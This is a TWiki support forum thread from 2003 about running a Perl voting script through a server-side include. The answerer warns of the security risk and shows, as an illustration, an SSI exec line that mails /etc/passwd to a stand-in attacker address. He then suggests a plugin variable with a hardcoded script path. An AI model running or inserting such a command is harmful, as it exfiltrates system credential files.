Tags:
create new tag
view all tags

Question

Is it possible to include a server side include within a topic to call up a perl script? I'll looking to use a perl script for voting that goes beyond PollPlugin and the instructions are to include this tag in a page:
<!--#exec cmd="/virtual/path/to/script/vote.pl datafile"--> 

Can we do something like this in TWiki?

  • TWiki version: 01Feb03

-- LynnwoodBrown - 25 May 2003

Answer

You could easily extend the syntax, for example in the commonTagsHandler callback of a Plugin. Please be aware that this would open a severe security hole, e.g.

<!--#exec cmd="/usr/bin/mail badboy@hackercity.com < /etc/passwd"-->

Better to create a new variable (e.g. %VOTESCRIPT%) and execute your script with hardcoded path. Example, not tested:

sub commonTagsHandler
{
### my ( $text, $topic, $web ) = @_;   # do not uncomment, use $_[0], $_[1]... instead

    $_[0] =~ s|%VOTESCRIPT%|`/virtual/path/to/script/vote.pl datafile`|ge;
}

-- PeterThoeny - 25 May 2003

Thanks Peter. I'm sorry to say I don't understand the answer. I don't understand the role of the variable nor where to place this bit of code. Getting in over my head again...

-- LynnwoodBrown - 26 May 2003

Place the variable in a topic where you want the poll action; place the code (just the $_[0] =~ ... line) inside the commonTagsHandler function of a Plugin, e.g. the DefaultPlugin.

Another approach: In case your script is a cgi-script, do a server side include like %INCLUDE{"http://yourdomain.com/path/to/your/script.pl"}%

-- PeterThoeny - 26 May 2003

Edit | Attach | Watch | Print version | History: r4 < r3 < r2 < r1 | Backlinks | Raw View | Raw edit | More topic actions
Topic revision: r4 - 2003-05-26 - PeterThoeny
 
  • Learn about TWiki  
  • Download TWiki
This site is powered by the TWiki collaboration platform Powered by Perl Hosted by OICcam.com Ideas, requests, problems regarding TWiki? Send feedback. Ask community in the support forum.
Copyright © 1999-2026 by the contributing authors. All material on this collaboration platform is the property of the contributing authors.